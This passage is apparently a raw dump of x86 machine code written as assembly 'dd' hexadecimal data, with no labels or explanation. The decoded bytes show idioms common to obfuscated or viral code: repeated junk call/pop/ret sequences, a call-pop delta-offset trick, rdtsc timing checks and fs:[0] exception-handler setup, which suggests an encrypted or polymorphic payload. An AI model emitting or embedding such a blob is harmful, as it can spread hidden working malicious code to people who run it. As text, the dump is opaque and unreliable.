0F030935h, 49986h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 134DC579h, 60F9AAC8h dd 1631F381h, 8C66764Ch, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 80ACBFA4h, 0BE804E1h dd 0DB000000h, 0F5C00FE4h, 0D1102FA0h, 5252D85Bh, 0A5B5B5Bh dd 63840FC9h, 66000001h, 8B6A84BFh, 352B6185h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0F687D890h, 0E738CF81h, 9D332019h, 93516A9h, 0BF0F6051h dd 0C1BF0FC2h, 85335F61h, 9350D7Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 77C35747h, 9412FB49h, 0F8BF0FA7h dd 26BB6690h, 8D0F5008h, 0Ch, 0DCBF6660h, 0F525080h, 61585A31h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 66FB16BBh, 6A830FBBh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 88BE09ABh dd 0F5EE9174h, 8D89236Eh, 9352D41h, 4E8h, 1F03FF00h, 50BF6600h dd 0FE95030h, 4A000000h, 5D2F2338h, 8659824Bh, 51028955h dd 448B77CBh, 8B0424h, 4244489h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66D3C39Ah dd 0A182DB81h, 0CDD95FFh, 0D7B30935h, 0B76F8589h, 820F0938h dd 6, 0C099D8Bh, 41E90935h, 6A000002h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0C49AC351h dd 88C5858h, 858BC3D3h, 938B767h, 220D9501h, 0DE90935h dd 22000000h, 0DA3EB89Dh, 0CB6F128Ch, 63770545h, 1800C7h dd 0BD290000h, 9352C51h, 0B76BB58Bh, 6A0938h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B87043C3h dd 4518081Bh, 39D9D89h, 858B0935h, 93524D5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A3C35747h, 0D147189Ah dd 85BB6640h, 6E93Dh, 19020000h, 94A6122Dh, 6A0689h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 2C32F7C3h, 4995898Fh, 8B093505h, 352B6185h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0FB6E5D38h, 0F4D381F9h, 52077B44h, 2E30D8BFh, 46895F65h dd 0FE904h, 891C0000h, 5AB0B1Bh, 4499D95Dh, 0AFEF5FE7h dd 348950A6h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 8465AD20h, 265FA83Ah, 0B767B5FFh dd 6A0938h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 8C9E39C3h, 9575616h, 198B0Fh, 14E90000h dd 66000000h, 6A0BCCB0h, 0C8805DE2h, 3276EB1h, 0B44A7E80h dd 68969443h, 0C5DC6063h, 2650BB66h, 9C240481h, 6A3A42A3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 53BCC352h, 0B82E1046h, 2B6499B9h, 8DD8B70Fh dd 38B76F85h, 68C0F09h, 89000000h, 351EBD95h, 11E89009h dd 2D000000h, 9ADDF587h, 921E0552h, 72F267A8h, 0B7869B60h dd 0F525060h, 8B585A31h, 505B61CAh, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 95FF3C38h dd 9350CDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0FFC35343h, 0F8BF0FBFh, 50006A61h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0B739814Fh dd 0FECB8166h, 5585C772h, 3093522h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0EC57C356h, 8F43DDB4h, 83A7DB80h, 38B76FBDh, 840F0009h dd 4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 94C35747h, 961A2E02h, 0E80B6ACAh, 14h, 3186FD1Ah, 89CE0EB3h dd 17633915h, 71A287C4h, 0BFE44BFFh, 3225BD8Bh, 0E95B0935h dd 21h, 0B7DBD89h, 30500935h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0BE9C0h, 1A770000h, 0FD693555h dd 27B4CE93h, 0E38166F9h, 6A5B74h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 19E3ADC3h, 9D8B0FACh dd 93527E9h, 28AD8D89h, 0BD830935h, 9352255h, 0EB850F03h dd 83000004h, 38B76FBDh, 840F0009h, 4DEh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0A7C35242h, 702F0003h dd 0BD295774h, 9350495h, 37BF665Bh, 6FB5FF33h, 6A0938B7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 932FC353h, 860F85E0h, 6, 0FF5BD8Bh, 95FF0935h dd 9352E11h, 68D0Fh, 0B5890000h, 935279Dh, 0B763B58Bh dd 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B53127C3h, 9352859h, 106C7h, 6A0001h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 120D6DC3h, 0E1BD8B46h, 89093513h, 352E159Dh, 8B665009h dd 243489F9h, 0B5FFF5B7h, 938B76Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0DFC35646h, 70348A31h, 8BEAF043h dd 353261BDh, 8995FF09h, 6A093502h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A10FC357h dd 731F436Dh, 3349BFA7h, 6870Fh, 9D890000h, 9350161h, 0B763B58Bh dd 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0C636CBC3h, 0EAC0DE8Ch, 2FB1BF66h, 0E99858Bh dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0ED057BC3h, 86898F10h, 0C4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 65C35242h, 0B04454AAh dd 3DAE4EDAh, 81DF8B87h, 0F4B970D3h, 29958B57h, 8B093516h dd 352C599Dh, 4C28309h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0DEC35242h, 0E9DF8B66h, 7, 9D1F4D19h dd 89116E93h, 820F2050h, 6 dd 3311BD29h, 858D0935h, 938CC07h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0AAC35545h, 0B8868922h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0F112C355h, 0BC0F0B9h, 3511419Dh, 6A006A09h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8914C357h, 351F3D9Dh, 7D952909h, 23093508h dd 35248D9Dh, 6FB5FF09h, 6A0938B7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C5AEC352h dd 5195FFFCh, 2B093511h, 350185BDh, 9D296009h, 9350C15h dd 0F79BD8Bh, 50610935h, 10860Fh, 0BE90000h, 46000000h dd 464C47CDh, 940CCE1Bh, 34899BC9h, 0EE924h, 62280000h dd 47EBAED4h, 2685D34Ah, 0D1015957h, 118C0Fh, 5E80000h dd 3D000000h, 46D6809h, 2B919D8Bh, 0FF5F0935h, 38B76FB5h dd 0D99D8B09h, 0FF093522h, 350B5595h, 51006A09h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 5F44D163h, 0CF1BD8Bh, 800F0935h, 6, 1DE19D8Bh, 880F0935h dd 6, 2F2D9D8Bh, 0BD830935h, 9350079h, 80840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 1C8AC355h, 0AB0B1B89h, 0D88B5D05h, 2EA19D8Bh dd 53960935h, 13E9505Bh, 0BF000000h, 2D8A596h, 1336DECAh dd 34AC908Bh, 352AF542h, 6A961D48h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0ACDCC352h dd 34C35560h, 2FE4FB4Bh, 66D78B60h, 0E961F98Bh, 7, 0FEEE580Ah dd 0FF37387Eh, 38B76FB5h, 0E6C38009h, 1C3595FFh, 6A0935h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 157556C3h, 9D8B819Dh, 9351EE5h, 0DF8B66F5h, 0B76FB5FFh dd 0FA8B0938h, 2CE595FFh, 6A0935h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0D82C35C3h, 5BD8Bh, 73BF0935h dd 835AE1B7h, 3526BDBDh, 840F0209h, 45h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 9C35242h, 2811C860h dd 0AD858B2Ah, 81093526h, 0B35012C7h, 0C639h, 10E9h, 0CB823D00h dd 0CBF50D4Eh, 75A545ABh, 2CCB3822h, 6585C796h, 93532h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 5C55C353h, 0BF660D6Ah, 0E95778B2h dd 5, 0E932E291h, 8E95BAEh, 6AFFFFF2h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 988EC353h dd 0A808F0Dh, 79376A6Eh, 0A2F78166h, 0E9C18BEBh, 0Ah, 0CE0C480Eh dd 292A317Fh, 858DF90Ch, 9352659h, 4759531h, 66900935h dd 509F79BBh, 0B79031B7h, 0B3006A22h, 6A006A54h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 6668C357h, 87DFB1FBh, 0D8B70FD7h, 4ED5858Dh, 6A0939h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 7D0958C3h, 1F7C13A1h, 0F998432h, 684h, 0B59D8B00h, 60093516h dd 2865858Bh, 0DB10935h, 5C08361h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0FBC35242h, 15393F35h, 8589B6A9h dd 9350295h, 0BF665350h, 895F738Fh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A2C0E6C3h dd 9FA25DA4h, 89032F29h, 350811B5h, 6A006A09h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0E9D0C355h, 0Ah, 81579E12h, 399E1C71h, 6A68E6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0E0C35040h, 0BF07536Bh dd 387E43F9h, 33195FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0B4FD50C3h, 8739316Ch dd 8D8D0181h, 9389AABh, 0D1FF7AB7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 94C35141h, 8352B3E4h, 351C19BDh dd 850F0109h, 6Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 69C35141h, 440961FAh, 26A6FB7h, 7E990h dd 3330000h, 86EAEE2Ch, 27B35020h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0D3CD1A7Fh dd 0A9F6FE36h, 0DF811F11h, 69EDC867h, 115195FFh, 97BB0935h dd 0E9475C03h, 0D84h, 0E8h, 0ED815D00h, 9394EDFh, 878BF66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EAC35747h dd 858DAFB2h, 938932Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 6CC35141h, 525A856Fh, 4AD0A8C5h, 2C01BD8Bh dd 89500935h, 66562404h, 645BDA8Bh, 35FFh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 3558D7C3h, 7E3B7BFEh, 5FF55253h, 258964h, 89000000h dd 35107595h, 985FF09h, 8B093530h, 352E65BDh, 6AFF6A09h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 2B2BC352h, 792C8457h, 0B5FF978Dh, 93506B5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6FC35141h dd 840FCAADh, 15h, 5E8h, 2FC8FE00h, 5E90368h, 2B000000h dd 8540211Ah, 0B995FF5Bh, 0E909352Eh, 129h, 0A5B58960h dd 2909352Ah, 351E8D95h, 0B06109h, 5E850h, 0E7610000h dd 17D1792h, 3517758Dh, 0BF5B5F09h, 400110A0h, 665370E6h dd 117ECF81h, 6671E45Bh, 0C441D381h, 830F613Ch, 0E9h, 17999D8Bh dd 0B60F0935h, 0E1B7BFC8h, 6BA58ABh, 0E9000000h, 8, 38351AD7h dd 0AD42E34h, 9D8BC18Bh, 9352C45h, 0DE960h, 0FB8E0000h dd 93215FD9h, 0AEC55032h, 8BD77B8Ah, 0E8C161C2h, 0F19D2B04h dd 8B09352Bh, 350599BDh, 0E2F76609h, 5E8h, 0F1153100h dd 8D89933Ah, 935031Dh, 0B7C82B5Bh, 0E9D18BF2h, 9, 0B50BF860h dd 93521E9h, 65858B61h, 53093526h, 7F4B09BBh, 0F98B5F6Ch dd 5707C083h, 835FDA8Ah, 0B70F00C0h, 0FD03BFFh, 0E83h dd 4AE9F900h, 8A000000h, 618D29F8h, 8B093522h, 352CED8Dh dd 0BB5F5309h, 790B3799h, 0F01E183h, 2C84h, 518D8900h dd 5009352Fh, 1161BD09h, 835F0935h, 352CEDA5h, 8D09FE09h dd 93506C9h, 26659589h, 0B5890935h, 9351BE9h, 0E9h, 22B58D00h dd 890938D8h, 3510E18Dh, 6A006A09h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A30EC351h dd 8ECAD25Bh, 0AABF66B5h, 2995FF1Ah, 89093508h, 352779B5h dd 0F06B909h, 0B70F0000h, 0FCE183DFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 80C35343h, 0BF0FFA8Bh, 8589FCD8h dd 9350CF1h, 0B8h, 118D0100h, 60093508h, 5A5ABB66h, 0BA61h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 50D327C3h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 12C35545h, 6A7FCD8Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BAACC352h dd 804892FEh, 0D5C51CDh, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0ACC35141h, 29958BF9h, 8B093516h dd 35287D8Dh, 75BD0109h, 50093504h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 9BADA61Dh dd 7BA9D0DDh, 85297D8Ch, 9352D09h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0B0C35545h, 0F96DC0Fh, 0BD83F9B7h dd 9351249h, 42840F00h, 0B8000000h, 0 dd 9D896053h, 935229Dh, 0DD99529h, 5B610935h, 4C028D8Dh dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0DCFBA3C3h, 0E680DBC2h, 0C780E1FFh, 55BD83DEh dd 93522h, 468840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 90DAEAC3h, 8B66EEC5h dd 55BD83F9h, 1093522h, 453840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 5A4010C3h dd 9EE5ACCFh, 8529FE8Ah, 9350E41h, 2255BD83h, 0F030935h dd 3E686h, 6A6000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 220240C3h, 0F24E564Fh, 60D98C66h dd 8E9h, 4417E300h, 2857BF55h, 0E1806120h, 0A0FB704h, 72840FC9h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0C322C352h, 8A339B9Bh, 199D894Eh dd 8B093508h, 352B6185h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0B7AEDA10h, 7D85331Dh dd 0F09350Dh, 0E850DABFh, 0Eh, 88CFF61Ch, 0A84299AFh, 4551F4B7h dd 0BB66F1E3h, 895BA268h, 8D092404h, 9350351h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 698402C3h, 7A8D5A8Eh, 0F0A31E68h, 8E8FAh, 0D0080000h dd 954A396Ah, 5250FB8Dh, 3FEFBF66h, 585A310Fh, 2404815Bh dd 52E60E1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 18C35141h, 0FFD2258Ah, 350CDD95h, 50006A09h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 9895E7AAh, 1677B7Ah, 3533059Dh, 6F858909h, 8B0938B7h dd 3530B9BDh, 1F6E909h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 584719C3h, 81662C05h dd 0E8C5B5DBh, 0Fh, 0EACC61C7h, 12AD9ECh, 0DFD5CDBCh, 608F679Bh dd 0E9F6BF0Fh, 0Fh, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 61ED015Dh dd 67858B5Fh, 6A0938B7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0A5C0C353h, 8BECD780h dd 350D099Dh, 0E9BD8B09h, 0C709351Ah, 1800h, 21BD8B00h dd 8B093529h, 38B76BB5h, 0FBD78109h, 8B3E3A63h, 3524D585h dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0F3E4BF2Ch, 9C5F1EA8h, 0DA8B667Fh, 6A0689h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0E6541CC3h, 61858B9Dh, 6A09352Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 6D20C355h dd 9780F8Ch, 0C59BF55Dh, 66044689h, 1319CF81h, 0BCBF6650h dd 2434899Eh, 6DF8166h, 67B5FF2Fh, 6A0938B7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0DF10C353h, 0E29F95ACh, 0EE8FC40h, 0C8000000h, 753C6240h dd 46543C33h, 17AC41D3h, 0CF8166E7h, 295F35B2h, 352E058Dh dd 4E809h, 3FF0000h, 6656001Fh, 505BD98Bh, 0FEFEBF66h dd 424448Bh, 0CE9h, 6DA8B800h, 9F676B44h, 4EA91D44h, 89008B03h dd 8B042444h, 0BD8B58FAh, 9352851h, 0B76F858Dh, 870F0938h dd 6, 0BC19D8Bh, 0F500935h, 2086h, 14E800h, 275F0000h dd 0F41CA7BAh, 2FC4FFA4h, 195556B4h, 3B7D8BDEh, 52509F68h dd 585A310Fh, 2404895Fh, 0B35BD8Bh, 95FF0935h, 9350CDDh dd 76AABB66h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 129C4440h, 0E9CC081Fh, 0Ah, 9DFABD69h dd 0C1470880h, 895353E9h, 352EB59Dh, 85C75F09h, 9352255h dd 3, 0BD83F98Bh, 938B76Fh, 3C840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 7BFFC353h, 1372970Ah, 2A55BD8Bh, 5E90935h, 8000000h dd 94F10737h, 21E9h, 49BD8B00h, 5009350Ch, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0D381C08Bh, 47BC142Ah dd 0D8BF0F60h, 61DAB70Fh, 1BB9BD8Bh, 0BD830935h, 9352255h dd 67850F03h, 0F000004h, 0BD83DBB7h, 938B76Fh, 57840F00h dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0F07AC352h, 8481C01Bh, 9D89F026h dd 9352CF9h, 0B76FB5FFh, 6A0938h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C43AF8C3h, 2A818D89h dd 95FF0935h, 9352E11h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 66C35545h, 0E25D64DBh, 0E30BA06h, 16059D8Bh dd 0B58B0935h, 938B763h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 56C35545h, 5CE155AEh, 738EE0B6h, 0FFB70FE4h dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 5F971DC3h, 38F0Fh, 8B660000h, 0BF5096F9h dd 596D7FA7h, 0C59D8B96h, 0FF09350Bh, 38B76FB5h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 2AADCFC1h, 51EB309Dh, 81F51D72h, 0C93874DBh, 8995FF65h dd 6A093502h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 97DEC356h, 0D9C38166h, 63B58B93h dd 0F50938B7h, 0E99858Bh, 0B5090935h, 9352809h, 90EB8166h dd 0C48689C9h, 29000000h, 3522FDBDh, 0B59D8B09h, 8B09350Fh dd 35162995h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0F1F513E8h, 0DF81661Ah, 0C283C831h dd 17BB5304h, 5B713545h, 6A205089h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0D184C351h dd 7E571567h, 82DF8157h, 0E90CA237h, 13h, 71739193h, 0C9A193DEh dd 0B302634Eh, 0B4766111h, 8DBE6AEFh, 38CC0785h, 8689FC09h dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0C8C35040h, 68C0FBCh, 89000000h, 352B2985h, 8B006A09h dd 6FB5FFF8h, 6A0938B7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 8E88C356h, 0FE94Bh dd 3FF70000h, 339F5CBh, 0C1F36F2h, 0BE2A9497h, 5195FFABh dd 1093511h, 352D1195h, 61605009h, 66243489h, 880FFA8Bh dd 4, 5F47B352h, 0B76FB5FFh, 6A0938h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9D03C7C3h dd 9351299h, 0B5595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 5C8A69C3h, 0CD60B411h dd 68E0Fh, 0BD8B0000h, 9350B65h, 79BD83h, 0F000935h, 3B84h dd 9E800h dd 0FCF40000h, 769D6859h, 8BFE88F8h, 89505BF9h, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6AC05EC3h, 6FA101C9h, 0D98A19A0h, 0B76FB5FFh, 9D8B0938h dd 9351671h, 1C3595FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 3D9990C3h, 68B6BB66h dd 0B76FB5FFh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 3483BCC3h, 0CB29638Bh, 0C1BD8B2Fh dd 0FF093503h, 352CE595h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 832C95A3h dd 3526BDBDh, 840F0209h, 6Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0A9C35040h, 0F5924D0Ah, 8B2B65FAh dd 3526AD85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0D3D7B2A2h, 0C680h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 0D0C35242h, 95BD89BBh dd 0C7093504h, 35326585h, 9, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 3F598D53h dd 8C0F19FDh, 6, 5659D8Bh, 56E90935h, 6AFFFFF3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0ADB5C353h, 9D8B60E8h, 93530A1h, 9589C18Bh, 935128Dh dd 2659858Dh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8126E7C3h, 0CBACF6CBh, 8B665023h dd 240489D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0B2C35646h, 1291BD8Bh, 9D8B0935h, 9351D8Dh, 6A12CF80h dd 9D9D8B00h, 6A09350Ah, 0E7816600h, 0BD8BC496h, 9352661h dd 5E81858Dh, 6A0939h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8B81F4C3h, 350DC99Dh, 5C08309h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h dd 14810FC5h, 0E9000000h, 0Fh, 6DBAD566h, 0DD6BF4Eh, 0A048B20Dh dd 29F0ABB8h, 352C9D8Dh, 66609009h, 5061F78Bh, 6A90FA8Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 7CC3C357h, 10303C2Fh, 77C38166h, 6A006AFAh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0FF9C355h, 173B728Fh, 3160AA6Ch, 350F0DB5h dd 89952909h, 6109350Bh, 0FFFC006Ah, 35033195h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 9B32F482h, 59D8B48h, 8D09351Bh, 389AAB8Dh, 0FD1FF09h dd 80h, 19BD8300h, 109351Ch, 9D850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0AD3967C3h, 8B84FF64h, 351261BDh, 6A026A09h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 9F48C357h, 3864987Fh, 0DF407B2Dh, 0CB8B6660h, 61F9BF0Fh dd 0FE9h, 6D96B700h, 0AB7FE8B2h, 3102A939h, 87B83CF7h dd 8B665090h, 0FFFC90DFh, 35115195h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FA07449h dd 281h, 0E9D88B00h, 0D7Ch, 0E8h, 0ED815D00h, 9395E8Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FDC35646h dd 5F5350FFh, 0F0D3815Bh, 1362E7Eh, 351E0D85h, 0F59D0909h dd 8D093503h, 38932B85h, 8960F509h, 3504898Dh, 0F28B6609h dd 0DE85061h, 0C5000000h, 0A4430456h, 5CFA729Ch, 43F9DB61h dd 12E8h, 739B100h, 0DFB3B0D3h, 34986F29h, 807FD7CEh, 8B8F279Ah dd 895F5FDEh, 0FF642404h, 35h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 25896448h dd 0 dd 14E9h, 27839D00h, 620C9C1Eh, 0B7AD8A10h, 81D9B563h dd 0FB531F63h, 85FFF82Ch, 9353009h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0ACC35545h, 317D19F2h, 1A20BF66h dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 382B7EC3h, 1C75175Ah, 0FF140062h, 350C45B5h dd 0F9B52909h, 0FF09351Ah, 352EB995h, 113E909h, 0F520000h dd 182h, 0B05BF800h, 0B18D8900h, 0E6093524h, 0B75670h dd 371E45Fh, 351019BDh, 0D8BF0F09h, 830F613Ch, 0E9h, 2379BD8Bh dd 0B60F0935h, 559531C8h, 0BA09351Dh, 6, 0EE8h, 0FBB42200h dd 6E1F889Fh, 0F7EBFE25h, 372F3C6h, 3525D5BDh, 0C18B5F09h dd 14E9h, 875E5B00h, 74CF122Ch, 6DF4731Eh, 25277018h, 84467F6Dh dd 4E8C1EDh, 46BF6660h, 2DB58BBAh, 6109352Fh, 0E2F766FCh dd 0CA9B589h, 0C82B0935h, 0B70FD18Bh, 6E9F9h, 9D8B0000h dd 93512A9h, 0D65858Bh, 0C0830935h, 83DF8B07h, 0BD3300C0h dd 9350E1Dh, 830FD03Bh, 1Eh, 